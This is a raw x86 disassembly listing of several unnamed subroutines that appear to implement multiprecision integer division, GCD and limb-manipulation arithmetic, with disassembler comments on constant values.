080631ed  8b 55 18                 mov     0x18(%ebp),%edx
080631f0  8b 1a                    mov     (%edx),%ebx
080631f2  8b 51 fc                 mov     0xfffffffc(%ecx),%edx
080631f5  8b 41 f8                 mov     0xfffffff8(%ecx),%eax
080631f8  3b 55 c8                 cmp     0xffffffc8(%ebp),%edx
080631fb  89 45 bc                 mov     %eax,0xffffffbc(%ebp)
080631fe  72 18                    jb      08063218 <Unknown0353+0xf0>
08063200  77 04                    ja      08063206 <Unknown0353+0xde>
08063202  39 d8                    cmp     %ebx,%eax
08063204  72 12                    jb      08063218 <Unknown0353+0xf0>
08063206  8b 4d bc                 mov     0xffffffbc(%ebp),%ecx
08063209  29 d9                    sub     %ebx,%ecx
0806320b  1b 55 c8                 sbb     0xffffffc8(%ebp),%edx
0806320e  89 4d bc                 mov     %ecx,0xffffffbc(%ebp)
08063211  c7 45 f0 01 00 00 00     movl    $0x1,0xfffffff0(%ebp)   ;1 'x1 x0 x0 x0' ""
08063218  8b 7d 0c                 mov     0xc(%ebp),%edi
0806321b  8d 74 3e fd              lea     0xfffffffd(%esi,%edi,1),%esi
0806321f  85 f6                    test    %esi,%esi
08063221  89 75 ec                 mov     %esi,0xffffffec(%ebp)
08063224  0f 88 d7 00 00 00        js      08063301 <Unknown0354+0xaa>   ;215 'xd7 x0 x0 x0' ""
0806322a  89 f6                    mov     %esi,%esi
0806322c  8b 45 0c                 mov     0xc(%ebp),%eax
0806322f  39 45 ec                 cmp     %eax,0xffffffec(%ebp)
08063232  7c 08                    jl      0806323c <Unknown0353+0x114>
08063234  83 6d 10 04              subl    $0x4,0x10(%ebp)
08063238  eb 0b                    jmp     08063245 <Unknown0353+0x11d>
0806323a  89 f6                    mov     %esi,%esi
0806323c  8b 4d 10                 mov     0x10(%ebp),%ecx
0806323f  c7 01 00 00 00 00        movl    $0x0,(%ecx)   ;0 'x0 x0 x0 x0' ""
08063245  3b 55 c8                 cmp     0xffffffc8(%ebp),%edx
08063248  75 4e                    jne     08063298 <Unknown0354+0x41>
0806324a  8b 75 bc                 mov     0xffffffbc(%ebp),%esi
0806324d  01 d6                    add     %edx,%esi
0806324f  39 d6                    cmp     %edx,%esi
08063251  c7 45 e8 ff ff ff ff     movl    $0xffffffff,0xffffffe8(%ebp)


   ;
   ; >---------------------<  Subroutine # 354 >---------------------<
   ;
08063257 <Unknown0354>:
08063257  ff 89 75 c4 73 27        decl    0x2773c475(%ecx)   ;661898357 'x75 xc4 x73 x27' "u"
0806325d  29 de                    sub     %ebx,%esi
0806325f  89 75 c4                 mov     %esi,0xffffffc4(%ebp)
08063262  8b 7d 10                 mov     0x10(%ebp),%edi
08063265  8b 07                    mov     (%edi),%eax
08063267  89 f2                    mov     %esi,%edx
08063269  01 d8                    add     %ebx,%eax
0806326b  83 d2 00                 adc     $0x0,%edx
0806326e  89 45 bc                 mov     %eax,0xffffffbc(%ebp)
08063271  be ff ff ff ff           mov     $0xffffffff,%esi   ;-1 'xff xff xff xff' ""
08063276  8b 45 ec                 mov     0xffffffec(%ebp),%eax
08063279  8b 4d 08                 mov     0x8(%ebp),%ecx
0806327c  89 34 81                 mov     %esi,(%ecx,%eax,4)
0806327f  eb 77                    jmp     080632f8 <Unknown0354+0xa1>
08063281  8d 76 00                 lea     0x0(%esi),%esi
08063284  31 c0                    xor     %eax,%eax
08063286  85 db                    test    %ebx,%ebx
08063288  0f 95 c0                 setne   %al
0806328b  89 da                    mov     %ebx,%edx
0806328d  89 5d bc                 mov     %ebx,0xffffffbc(%ebp)
08063290  29 c2                    sub     %eax,%edx
08063292  f7 5d bc                 negl    0xffffffbc(%ebp)
08063295  eb 12                    jmp     080632a9 <Unknown0354+0x52>
08063297  90                       nop
08063298  8b 45 bc                 mov     0xffffffbc(%ebp),%eax
0806329b  f7 75 c8                 divl    0xffffffc8(%ebp)
0806329e  89 45 e8                 mov     %eax,0xffffffe8(%ebp)
080632a1  89 55 c4                 mov     %edx,0xffffffc4(%ebp)
080632a4  f7 e3                    mul     %ebx
080632a6  89 45 bc                 mov     %eax,0xffffffbc(%ebp)
080632a9  8b 45 10                 mov     0x10(%ebp),%eax
```

```
080632ac   8b 00                  mov     (%eax),%eax
080632ae   89 45 cc               mov     %eax,0xffffffcc(%ebp)
080632b1   3b 55 c4               cmp     0xffffffc4(%ebp),%edx
080632b4   77 0d                  ja      080632c3 <Unknown0354+0x6c>
080632b6   3b 55 c4               cmp     0xffffffc4(%ebp),%edx
080632b9   75 21                  jne     080632dc <Unknown0354+0x85>
080632bb   8b 4d cc               mov     0xffffffcc(%ebp),%ecx
080632be   39 4d bc               cmp     %ecx,0xffffffbc(%ebp)
080632c1   76 19                  jbe     080632dc <Unknown0354+0x85>
080632c3   8b 7d c8               mov     0xffffffc8(%ebp),%edi
080632c6   01 7d c4               add     %edi,0xffffffc4(%ebp)
080632c9   8b 75 bc               mov     0xffffffbc(%ebp),%esi
080632cc   ff 4d e8               decl    0xffffffe8(%ebp)
080632cf   29 de                  sub     %ebx,%esi
080632d1   83 da 00               sbb     $0x0,%edx
080632d4   39 7d c4               cmp     %edi,0xffffffc4(%ebp)
080632d7   89 75 bc               mov     %esi,0xffffffbc(%ebp)
080632da   73 d5                  jae     080632b1 <Unknown0354+0x5a>
080632dc   8b 45 ec               mov     0xffffffec(%ebp),%eax
080632df   8b 75 e8               mov     0xffffffe8(%ebp),%esi
080632e2   8b 4d 08               mov     0x8(%ebp),%ecx
080632e5   89 34 81               mov     %esi,(%ecx,%eax,4)
080632e8   8b 7d c4               mov     0xffffffc4(%ebp),%edi
080632eb   8b 45 cc               mov     0xffffffcc(%ebp),%eax
080632ee   2b 45 bc               sub     0xffffffbc(%ebp),%eax
080632f1   19 d7                  sbb     %edx,%edi
080632f3   89 fa                  mov     %edi,%edx
080632f5   89 45 bc               mov     %eax,0xffffffbc(%ebp)
080632f8   ff 4d ec               decl    0xffffffec(%ebp)
080632fb   0f 89 2b ff ff ff      jns     0806322c <Unknown0353+0x104>  ;-213 'x2b xff xff xff' "+"
08063301   8b 4d 10               mov     0x10(%ebp),%ecx
08063304   89 51 04               mov     %edx,0x4(%ecx)
08063307   8b 75 bc               mov     0xffffffbc(%ebp),%esi
0806330a   89 31                  mov     %esi,(%ecx)
0806330c   e9 6f 01 00 00         jmp     08063480 <Unknown0354+0x229>  ;367 'x6f x1 x0 x0' "o"
08063311   8d 76 00               lea     0x0(%esi),%esi
08063314   89 f0                  mov     %esi,%eax
08063316   2b 45 1c               sub     0x1c(%ebp),%eax
08063319   8b 7d 10               mov     0x10(%ebp),%edi
0806331c   8b 55 1c               mov     0x1c(%ebp),%edx
0806331f   8d 3c 87               lea     (%edi,%eax,4),%edi
08063322   c1 e2 02               shl     $0x2,%edx
08063325   8b 45 18               mov     0x18(%ebp),%eax
08063328   89 7d 10               mov     %edi,0x10(%ebp)
0806332b   01 d0                  add     %edx,%eax
0806332d   8b 78 fc               mov     0xfffffffc(%eax),%edi
08063330   03 55 10               add     0x10(%ebp),%edx
08063333   8b 40 f8               mov     0xfffffff8(%eax),%eax
08063336   89 45 e0               mov     %eax,0xffffffe0(%ebp)
08063339   89 55 dc               mov     %edx,0xffffffdc(%ebp)
0806333c   8b 5a fc               mov     0xfffffffc(%edx),%ebx
0806333f   39 fb                  cmp     %edi,%ebx
08063341   72 3b                  jb      0806337e <Unknown0354+0x127>
08063343   77 18                  ja      0806335d <Unknown0354+0x106>
08063345   50                     push    %eax
08063346   8b 45 1c               mov     0x1c(%ebp),%eax
08063349   48                     dec     %eax
0806334a   50                     push    %eax
0806334b   ff 75 18               pushl   0x18(%ebp)
0806334e   ff 75 10               pushl   0x10(%ebp)
08063351   e8 4a fd ff ff         call    080630a0 <Unknown0351>
08063356   83 c4 10               add     $0x10,%esp
08063359   85 c0                  test    %eax,%eax
0806335b   78 21                  js      0806337e <Unknown0354+0x127>
0806335d   ff 75 1c               pushl   0x1c(%ebp)
08063360   ff 75 18               pushl   0x18(%ebp)
08063363   ff 75 10               pushl   0x10(%ebp)
08063366   ff 75 10               pushl   0x10(%ebp)
08063369   e8 aa 1c 00 00         call    08065018 <Unknown0375>
0806336e   8b 45 dc               mov     0xffffffdc(%ebp),%eax
08063371   8b 58 fc               mov     0xfffffffc(%eax),%ebx
08063374   83 c4 10               add     $0x10,%esp
08063377   c7 45 f0 01 00 00 00   movl    $0x1,0xfffffff0(%ebp)   ;1 'x1 x0 x0 x0' ""
0806337e   8b 45 0c               mov     0xc(%ebp),%eax
08063381   01 f0                  add     %esi,%eax
08063383   2b 45 1c               sub     0x1c(%ebp),%eax
08063386   48                     dec     %eax
08063387   89 45 e4               mov     %eax,0xffffffe4(%ebp)
0806338a   0f 88 f0 00 00 00      js      08063480 <Unknown0354+0x229>  ;240 'xf0 x0 x0 x0' ""
08063390   8b 55 1c               mov     0x1c(%ebp),%edx
08063393   8b 4d 10               mov     0x10(%ebp),%ecx
08063396   8d 54 91 fc            lea     0xfffffffc(%ecx,%edx,4),%edx
0806339a   89 55 d0               mov     %edx,0xffffffd0(%ebp)
0806339d   8d 76 00               lea     0x0(%esi),%esi
```

```
080633a0   8b 4d 0c              mov     0xc(%ebp),%ecx
080633a3   39 4d e4              cmp     %ecx,0xffffffe4(%ebp)
080633a6   7c 18                 jl      080633c0 <Unknown0354+0x169>
080633a8   83 6d 10 04           subl    $0x4,0x10(%ebp)
080633ac   83 6d d0 04           subl    $0x4,0xffffffd0(%ebp)
080633b0   8b 45 1c              mov     0x1c(%ebp),%eax
080633b3   8b 55 10              mov     0x10(%ebp),%edx
080633b6   8b 04 82              mov     (%edx,%eax,4),%eax
080633b9   89 45 d8              mov     %eax,0xffffffd8(%ebp)
080633bc   eb 28                 jmp     080633e6 <Unknown0354+0x18f>
080633be   89 f6                 mov     %esi,%esi
080633c0   8b 45 d0              mov     0xffffffd0(%ebp),%eax
080633c3   8b 00                 mov     (%eax),%eax
080633c5   89 45 d8              mov     %eax,0xffffffd8(%ebp)
080633c8   8b 55 1c              mov     0x1c(%ebp),%edx
080633cb   4a                    dec     %edx
080633cc   78 0f                 js      080633dd <Unknown0354+0x186>
080633ce   89 f6                 mov     %esi,%esi
080633d0   8b 4d 10              mov     0x10(%ebp),%ecx
080633d3   8b 04 91              mov     (%ecx,%edx,4),%eax
080633d6   89 44 91 04           mov     %eax,0x4(%ecx,%edx,4)
080633da   4a                    dec     %edx
080633db   79 f3                 jns     080633d0 <Unknown0354+0x179>
080633dd   8b 75 10              mov     0x10(%ebp),%esi
080633e0   c7 06 00 00 00 00     movl    $0x0,(%esi)   ;0 'x0 x0 x0 x0' ""
080633e6   39 fb                 cmp     %edi,%ebx
080633e8   be ff ff ff ff        mov     $0xffffffff,%esi   ;-1 'xff xff xff xff' ""
080633ed   74 4d                 je      0806343c <Unknown0354+0x1e5>
080633ef   8b 55 d0              mov     0xffffffd0(%ebp),%edx
080633f2   8b 02                 mov     (%edx),%eax
080633f4   89 da                 mov     %ebx,%edx
080633f6   f7 f7                 div     %edi
080633f8   89 c6                 mov     %eax,%esi
080633fa   89 55 c0              mov     %edx,0xffffffc0(%ebp)
080633fd   8b 45 e0              mov     0xffffffe0(%ebp),%eax
08063400   f7 e6                 mul     %esi
08063402   89 c3                 mov     %eax,%ebx
08063404   89 d1                 mov     %edx,%ecx
08063406   8b 45 1c              mov     0x1c(%ebp),%eax
08063409   8b 55 10              mov     0x10(%ebp),%edx
0806340c   8d 04 82              lea     (%edx,%eax,4),%eax
0806340f   89 45 d4              mov     %eax,0xffffffd4(%ebp)
08063412   eb 0d                 jmp     08063421 <Unknown0354+0x1ca>
08063414   31 c0                 xor     %eax,%eax
08063416   3b 5d e0              cmp     0xffffffe0(%ebp),%ebx
08063419   0f 92 c0              setb    %al
0806341c   29 c1                 sub     %eax,%ecx
0806341e   2b 5d e0              sub     0xffffffe0(%ebp),%ebx
08063421   3b 4d c0              cmp     0xffffffc0(%ebp),%ecx
08063424   77 0d                 ja      08063433 <Unknown0354+0x1dc>
08063426   3b 4d c0              cmp     0xffffffc0(%ebp),%ecx
08063429   75 11                 jne     0806343c <Unknown0354+0x1e5>
0806342b   8b 55 d4              mov     0xffffffd4(%ebp),%edx
0806342e   3b 5a f8              cmp     0xfffffff8(%edx),%ebx
08063431   76 09                 jbe     0806343c <Unknown0354+0x1e5>
08063433   01 7d c0              add     %edi,0xffffffc0(%ebp)
08063436   4e                    dec     %esi
08063437   39 7d c0              cmp     %edi,0xffffffc0(%ebp)
0806343a   73 d8                 jae     08063414 <Unknown0354+0x1bd>
0806343c   56                    push    %esi
0806343d   ff 75 1c              pushl   0x1c(%ebp)
08063440   ff 75 18              pushl   0x18(%ebp)
08063443   ff 75 10              pushl   0x10(%ebp)
08063446   e8 85 1b 00 00        call    08064fd0 <Unknown0374>
0806344b   83 c4 10              add     $0x10,%esp
0806344e   39 45 d8              cmp     %eax,0xffffffd8(%ebp)
08063451   74 15                 je      08063468 <Unknown0354+0x211>
08063453   ff 75 1c              pushl   0x1c(%ebp)
08063456   ff 75 18              pushl   0x18(%ebp)
08063459   ff 75 10              pushl   0x10(%ebp)
0806345c   ff 75 10              pushl   0x10(%ebp)
0806345f   e8 84 fb ff ff        call    08062fe8 <Unknown0350>
08063464   4e                    dec     %esi
08063465   83 c4 10              add     $0x10,%esp
08063468   8b 4d e4              mov     0xffffffe4(%ebp),%ecx
0806346b   8b 45 08              mov     0x8(%ebp),%eax
0806346e   89 34 88              mov     %esi,(%eax,%ecx,4)
08063471   8b 55 d0              mov     0xffffffd0(%ebp),%edx
08063474   49                    dec     %ecx
08063475   8b 1a                 mov     (%edx),%ebx
08063477   89 4d e4              mov     %ecx,0xffffffe4(%ebp)
0806347a   0f 89 20 ff ff ff     jns     080633a0 <Unknown0354+0x149>   ;-224 'x20 xff xff xff' " "
08063480   8b 45 f0              mov     0xfffffff0(%ebp),%eax
08063483   8d 65 f4              lea     0xfffffff4(%ebp),%esp
```

```
08063486   5b                              pop     %ebx
08063487   5e                              pop     %esi
08063488   5f                              pop     %edi
08063489   5d                              pop     %ebp
0806348a   c3                              ret
0806348b   90                              nop


   ;
   ; >--------------------<  Subroutine # 355 >--------------------<
   ;
0806348c <Unknown0355>:
0806348c   55                              push    %ebp
0806348d   89 e5                           mov     %esp,%ebp
0806348f   53                              push    %ebx
08063490   53                              push    %ebx
08063491   8b 55 0c                        mov     0xc(%ebp),%edx
08063494   83 fa 01                        cmp     $0x1,%edx
08063497   8b 45 08                        mov     0x8(%ebp),%eax
0806349a   8b 5d 10                        mov     0x10(%ebp),%ebx
0806349d   7e 15                           jle     080634b4 <Unknown0355+0x28>
0806349f   51                              push    %ecx
080634a0   53                              push    %ebx
080634a1   52                              push    %edx
080634a2   50                              push    %eax
080634a3   e8 70 0b 00 00                  call    08064018 <Unknown0361>
080634a8   83 c4 10                        add     $0x10,%esp
080634ab   85 c0                           test    %eax,%eax
080634ad   75 07                           jne     080634b6 <Unknown0355+0x2a>
080634af   89 d8                           mov     %ebx,%eax
080634b1   eb 3d                           jmp     080634f0 <Unknown0355+0x64>
080634b3   90                              nop
080634b4   8b 00                           mov     (%eax),%eax
080634b6   0f bc d0                        bsf     %eax,%edx
080634b9   88 d1                           mov     %dl,%cl
080634bb   d3 e8                           shr     %cl,%eax
080634bd   0f bc cb                        bsf     %ebx,%ecx
080634c0   d3 eb                           shr     %cl,%ebx
080634c2   39 d8                           cmp     %ebx,%eax
080634c4   74 22                           je      080634e8 <Unknown0355+0x5c>
080634c6   39 d8                           cmp     %ebx,%eax
080634c8   76 0e                           jbe     080634d8 <Unknown0355+0x4c>
080634ca   29 d8                           sub     %ebx,%eax
080634cc   d1 e8                           shr     %eax
080634ce   a9 01 00 00 00                  test    $0x1,%eax    ;1 'x1 x0 x0 x0' ""
080634d3   74 f7                           je      080634cc <Unknown0355+0x40>
080634d5   eb eb                           jmp     080634c2 <Unknown0355+0x36>
080634d7   90                              nop
080634d8   29 c3                           sub     %eax,%ebx
080634da   89 f6                           mov     %esi,%esi
080634dc   d1 eb                           shr     %ebx
080634de   f7 c3 01 00 00 00               test    $0x1,%ebx    ;1 'x1 x0 x0 x0' ""
080634e4   74 f6                           je      080634dc <Unknown0355+0x50>
080634e6   eb da                           jmp     080634c2 <Unknown0355+0x36>
080634e8   39 d1                           cmp     %edx,%ecx
080634ea   76 02                           jbe     080634ee <Unknown0355+0x62>
080634ec   89 d1                           mov     %edx,%ecx
080634ee   d3 e0                           shl     %cl,%eax
080634f0   8b 5d fc                        mov     0xfffffffc(%ebp),%ebx
080634f3   c9                              leave
080634f4   c3                              ret
080634f5   8d 76 00                        lea     0x0(%esi),%esi


   ;
   ; >--------------------<  Subroutine # 356 >--------------------<
   ;
080634f8 <Unknown0356>:
080634f8   55                              push    %ebp
080634f9   89 e5                           mov     %esp,%ebp
080634fb   57                              push    %edi
080634fc   56                              push    %esi
080634fd   53                              push    %ebx
080634fe   83 ec 4c                        sub     $0x4c,%esp
08063501   8b 55 10                        mov     0x10(%ebp),%edx
08063504   8b 45 0c                        mov     0xc(%ebp),%eax
08063507   83 fa 04                        cmp     $0x4,%edx
0806350a   89 45 dc                        mov     %eax,0xffffffdc(%ebp)
0806350d   89 55 d8                        mov     %edx,0xffffffd8(%ebp)
08063510   0f 8e 8a 04 00 00               jle     080639a0 <Unknown0357+0x325>  ;1162 'x8a x4 x0 x0' ""
08063516   8b 5d 18                        mov     0x18(%ebp),%ebx
08063519   8d 04 9d 17 00 00 00            lea     0x17(,%ebx,4),%eax    ;23 'x17 x0 x0 x0' ""
08063520   83 e0 f0                        and     $0xfffffff0,%eax
08063523   8b 4d 14                        mov     0x14(%ebp),%ecx
```

```
08063526   29 c4                  sub    %eax,%esp
08063528   89 4d cc               mov    %ecx,0xffffffcc(%ebp)
0806352b   89 5d c8               mov    %ebx,0xffffffc8(%ebp)
0806352e   89 65 c4               mov    %esp,0xffffffc4(%ebp)
08063531   31 d2                  xor    %edx,%edx
08063533   39 da                  cmp    %ebx,%edx
08063535   7d 13                  jge    0806354a <Unknown0356+0x52>
08063537   90                     nop
08063538   8b 4d 14               mov    0x14(%ebp),%ecx
0806353b   8b 04 91               mov    (%ecx,%edx,4),%eax
0806353e   8b 5d c4               mov    0xffffffc4(%ebp),%ebx
08063541   89 04 93               mov    %eax,(%ebx,%edx,4)
08063544   42                     inc    %edx
08063545   3b 55 18               cmp    0x18(%ebp),%edx
08063548   7c ee                  jl     08063538 <Unknown0356+0x40>
0806354a   8b 45 c4               mov    0xffffffc4(%ebp),%eax
0806354d   89 45 14               mov    %eax,0x14(%ebp)
08063550   8b 55 18               mov    0x18(%ebp),%edx
08063553   0f bd 44 90 fc         bsr    0xfffffffc(%eax,%edx,4),%eax
08063558   83 f0 1f               xor    $0x1f,%eax
0806355b   c1 e2 05               shl    $0x5,%edx
0806355e   29 c2                  sub    %eax,%edx
08063560   8b 4d 10               mov    0x10(%ebp),%ecx
08063563   8b 5d 0c               mov    0xc(%ebp),%ebx
08063566   0f bd 4c 8b fc         bsr    0xfffffffc(%ebx,%ecx,4),%ecx
0806356b   83 f1 1f               xor    $0x1f,%ecx
0806356e   8b 45 10               mov    0x10(%ebp),%eax
08063571   c1 e0 05               shl    $0x5,%eax
08063574   29 c8                  sub    %ecx,%eax
08063576   29 c2                  sub    %eax,%edx
08063578   83 ec 08               sub    $0x8,%esp
0806357b   89 45 d0               mov    %eax,0xffffffd0(%ebp)
0806357e   8d 5a 01               lea    0x1(%edx),%ebx
08063581   8b 45 18               mov    0x18(%ebp),%eax
08063584   8b 55 14               mov    0x14(%ebp),%edx
08063587   c7 04 82 00 00 00 00   movl   $0x0,(%edx,%eax,4)    ;0 'x0 x0 x0 x0' ""
0806358e   53                     push   %ebx
0806358f   ff 75 10               pushl  0x10(%ebp)
08063592   ff 75 0c               pushl  0xc(%ebp)
08063595   40                     inc    %eax
08063596   50                     push   %eax
08063597   52                     push   %edx
08063598   52                     push   %edx
08063599   c1 eb 05               shr    $0x5,%ebx
0806359c   89 45 18               mov    %eax,0x18(%ebp)
0806359f   e8 f4 1f 00 00         call   08065598 <Unknown0380>
080635a4   8b 4d 14               mov    0x14(%ebp),%ecx
080635a7   8d 0c 99               lea    (%ecx,%ebx,4),%ecx
080635aa   83 c4 20               add    $0x20,%esp
080635ad   29 5d 18               sub    %ebx,0x18(%ebp)
080635b0   89 4d 14               mov    %ecx,0x14(%ebp)
080635b3   74 19                  je     080635ce <Unknown0356+0xd6>
080635b5   8b 09                  mov    (%ecx),%ecx
080635b7   85 c9                  test   %ecx,%ecx
080635b9   75 13                  jne    080635ce <Unknown0356+0xd6>
080635bb   90                     nop
080635bc   83 45 14 04            addl   $0x4,0x14(%ebp)
080635c0   ff 4d 18               decl   0x18(%ebp)
080635c3   74 09                  je     080635ce <Unknown0356+0xd6>
080635c5   8b 5d 14               mov    0x14(%ebp),%ebx
080635c8   8b 13                  mov    (%ebx),%edx
080635ca   85 d2                  test   %edx,%edx
080635cc   74 ee                  je     080635bc <Unknown0356+0xc4>
080635ce   8b 45 18               mov    0x18(%ebp),%eax
080635d1   85 c0                  test   %eax,%eax
080635d3   0f 84 dc 06 00 00      je     08063cb5 <Unknown0357+0x63a>   ;1756 'xdc x6 x0 x0' ""
080635d9   8b 55 10               mov    0x10(%ebp),%edx
080635dc   8d 04 95 17 00 00 00   lea    0x17(,%edx,4),%eax   ;23 'x17 x0 x0 x0' ""
080635e3   83 e0 f0               and    $0xfffffff0,%eax
080635e6   29 c4                  sub    %eax,%esp
080635e8   89 65 0c               mov    %esp,0xc(%ebp)
080635eb   31 d2                  xor    %edx,%edx
080635ed   3b 55 10               cmp    0x10(%ebp),%edx
080635f0   7d 16                  jge    08063608 <Unknown0356+0x110>
080635f2   89 f6                  mov    %esi,%esi
080635f4   8b 4d dc               mov    0xffffffdc(%ebp),%ecx
080635f7   8b 04 91               mov    (%ecx,%edx,4),%eax
080635fa   8b 5d 0c               mov    0xc(%ebp),%ebx
080635fd   89 04 93               mov    %eax,(%ebx,%edx,4)
08063600   42                     inc    %edx
08063601   3b 55 10               cmp    0x10(%ebp),%edx
08063604   7c ee                  jl     080635f4 <Unknown0356+0xfc>
08063606   89 f6                  mov    %esi,%esi
08063608   8b 45 18               mov    0x18(%ebp),%eax
```

```
0806360b   8b 55 14            mov     0x14(%ebp),%edx
0806360e   8b 7c 82 fc         mov     0xfffffffc(%edx,%eax,4),%edi
08063612   85 ff               test    %edi,%edi
08063614   79 30               jns     08063646 <Unknown0356+0x14e>
08063616   8b 02               mov     (%edx),%eax
08063618   f7 d8               neg     %eax
0806361a   8b 4d c4            mov     0xffffffc4(%ebp),%ecx
0806361d   89 01               mov     %eax,(%ecx)
0806361f   ba 01 00 00 00      mov     $0x1,%edx   ;1 'x1 x0 x0 x0' ""
08063624   3b 55 18            cmp     0x18(%ebp),%edx
08063627   7d 17               jge     08063640 <Unknown0356+0x148>
08063629   8d 76 00            lea     0x0(%esi),%esi
0806362c   8b 5d 14            mov     0x14(%ebp),%ebx
0806362f   8b 04 93            mov     (%ebx,%edx,4),%eax
08063632   f7 d0               not     %eax
08063634   8b 4d c4            mov     0xffffffc4(%ebp),%ecx
08063637   89 04 91            mov     %eax,(%ecx,%edx,4)
0806363a   42                  inc     %edx
0806363b   3b 55 18            cmp     0x18(%ebp),%edx
0806363e   7c ec               jl      0806362c <Unknown0356+0x134>
08063640   8b 5d c4            mov     0xffffffc4(%ebp),%ebx
08063643   89 5d 14            mov     %ebx,0x14(%ebp)
08063646   8b 55 18            mov     0x18(%ebp),%edx
08063649   8b 4d 14            mov     0x14(%ebp),%ecx
0806364c   8d 04 91            lea     (%ecx,%edx,4),%eax
0806364f   8b 70 fc            mov     0xfffffffc(%eax),%esi
08063652   85 f6               test    %esi,%esi
08063654   75 12               jne     08063668 <Unknown0356+0x170>
08063656   83 e8 04            sub     $0x4,%eax
08063659   8d 76 00            lea     0x0(%esi),%esi
0806365c   83 e8 04            sub     $0x4,%eax
0806365f   ff 4d 18            decl    0x18(%ebp)
08063662   8b 18               mov     (%eax),%ebx
08063664   85 db               test    %ebx,%ebx
08063666   74 f4               je      0806365c <Unknown0356+0x164>
08063668   8b 5d 14            mov     0x14(%ebp),%ebx
0806366b   f6 03 01            testb   $0x1,(%ebx)
0806366e   75 2c               jne     0806369c <Unknown0357+0x21>
08063670   0f bc 03            bsf     (%ebx),%eax
08063673   50                  push    %eax
08063674   ff 75 18            pushl   0x18(%ebp)
08063677   53                  push    %ebx
08063678   ff 75 c4            pushl   0xffffffc4(%ebp)


   ;
   ; >----------------------<  Subroutine # 357 >----------------------<
   ;
0806367b <Unknown0357>:
0806367b   e8 88 14 00 00      call    08064b08 <Unknown0369>
08063680   8b 55 18            mov     0x18(%ebp),%edx
08063683   8b 4d c4            mov     0xffffffc4(%ebp),%ecx
08063686   8b 4c 91 fc         mov     0xfffffffc(%ecx,%edx,4),%ecx
0806368a   31 c0               xor     %eax,%eax
0806368c   83 c4 10            add     $0x10,%esp
0806368f   85 c9               test    %ecx,%ecx
08063691   0f 94 c0            sete    %al
08063694   29 c2               sub     %eax,%edx
08063696   89 55 18            mov     %edx,0x18(%ebp)
08063699   eb 23               jmp     080636be <Unknown0357+0x43>
0806369b   90                  nop
0806369c   8b 5d 14            mov     0x14(%ebp),%ebx
0806369f   39 5d c4            cmp     %ebx,0xffffffc4(%ebp)
080636a2   74 1a               je      080636be <Unknown0357+0x43>
080636a4   31 d2               xor     %edx,%edx
080636a6   3b 55 18            cmp     0x18(%ebp),%edx
080636a9   7d 13               jge     080636be <Unknown0357+0x43>
080636ab   90                  nop
080636ac   8b 4d 14            mov     0x14(%ebp),%ecx
080636af   8b 04 91            mov     (%ecx,%edx,4),%eax
080636b2   8b 5d c4            mov     0xffffffc4(%ebp),%ebx
080636b5   89 04 93            mov     %eax,(%ebx,%edx,4)
080636b8   42                  inc     %edx
080636b9   3b 55 18            cmp     0x18(%ebp),%edx
080636bc   7c ee               jl      080636ac <Unknown0357+0x31>
080636be   8b 45 c4            mov     0xffffffc4(%ebp),%eax
080636c1   8b 55 0c            mov     0xc(%ebp),%edx
080636c4   89 45 c0            mov     %eax,0xffffffc0(%ebp)
080636c7   89 55 c4            mov     %edx,0xffffffc4(%ebp)
080636ca   89 45 0c            mov     %eax,0xc(%ebp)
080636cd   8b 4d 18            mov     0x18(%ebp),%ecx
080636d0   8b 5d 10            mov     0x10(%ebp),%ebx
080636d3   89 4d bc            mov     %ecx,0xffffffbc(%ebp)
080636d6   89 5d 18            mov     %ebx,0x18(%ebp)
```

```
080636d9  89 4d 10           mov    %ecx,0x10(%ebp)
080636dc  89 55 14           mov    %edx,0x14(%ebp)
080636df  83 f9 02           cmp    $0x2,%ecx
080636e2  0f 8e a1 02 00 00   jle    08063989 <Unknown0357+0x30e>  ;673 'xa1 x2 x0 x0' ""
080636e8  8b 55 d0           mov    0xffffffd0(%ebp),%edx
080636eb  0f bd 44 88 fc     bsr    0xfffffffc(%eax,%ecx,4),%eax
080636f0  83 f0 1f           xor    $0x1f,%eax
080636f3  89 45 d0           mov    %eax,0xffffffd0(%ebp)
080636f6  89 c8              mov    %ecx,%eax
080636f8  c1 e0 05           shl    $0x5,%eax
080636fb  2b 45 d0           sub    0xffffffd0(%ebp),%eax
080636fe  29 c2              sub    %eax,%edx
08063700  8d 5a 01           lea    0x1(%edx),%ebx
08063703  83 fb 10           cmp    $0x10,%ebx
08063706  89 45 d0           mov    %eax,0xffffffd0(%ebp)
08063709  76 3d              jbe    08063748 <Unknown0357+0xcd>
0806370b  83 ec 08           sub    $0x8,%esp
0806370e  8b 55 18           mov    0x18(%ebp),%edx
08063711  8b 4d 14           mov    0x14(%ebp),%ecx
08063714  c7 04 91 00 00 00 00  movl  $0x0,(%ecx,%edx,4)   ;0 'x0 x0 x0 x0' ""
0806371b  53                 push   %ebx
0806371c  ff 75 10           pushl  0x10(%ebp)
0806371f  ff 75 0c           pushl  0xc(%ebp)
08063722  42                 inc    %edx
08063723  52                 push   %edx
08063724  51                 push   %ecx
08063725  51                 push   %ecx
08063726  c1 eb 05           shr    $0x5,%ebx
08063729  89 55 18           mov    %edx,0x18(%ebp)
0806372c  e8 67 1e 00 00     call   08065598 <Unknown0380>
08063731  8b 45 14           mov    0x14(%ebp),%eax
08063734  8d 04 98           lea    (%eax,%ebx,4),%eax
08063737  89 45 14           mov    %eax,0x14(%ebp)
0806373a  29 5d 18           sub    %ebx,0x18(%ebp)
0806373d  83 c4 20           add    $0x20,%esp
08063740  e9 16 02 00 00     jmp    0806395b <Unknown0357+0x2e0>  ;534 'x16 x2 x0 x0' ""
08063745  8d 76 00           lea    0x0(%esi),%esi
08063748  8b 55 0c           mov    0xc(%ebp),%edx
0806374b  8b 02              mov    (%edx),%eax
0806374d  83 ec 08           sub    $0x8,%esp
08063750  89 45 e8           mov    %eax,0xffffffe8(%ebp)
08063753  8b 42 04           mov    0x4(%edx),%eax
08063756  6a 40              push   $0x40
08063758  6a 02              push   $0x2
0806375a  ff 75 14           pushl  0x14(%ebp)
0806375d  8d 55 e8           lea    0xffffffe8(%ebp),%edx
08063760  6a 02              push   $0x2
08063762  52                 push   %edx
08063763  52                 push   %edx
08063764  89 45 ec           mov    %eax,0xffffffec(%ebp)
08063767  e8 2c 1e 00 00     call   08065598 <Unknown0380>
0806376c  8b 45 e8           mov    0xffffffe8(%ebp),%eax
0806376f  8b 7d ec           mov    0xffffffec(%ebp),%edi
08063772  89 c6              mov    %eax,%esi
08063774  89 fa              mov    %edi,%edx
08063776  83 c4 20           add    $0x20,%esp
08063779  f7 de              neg    %esi
0806377b  83 f2 ff           xor    $0xffffffff,%edx
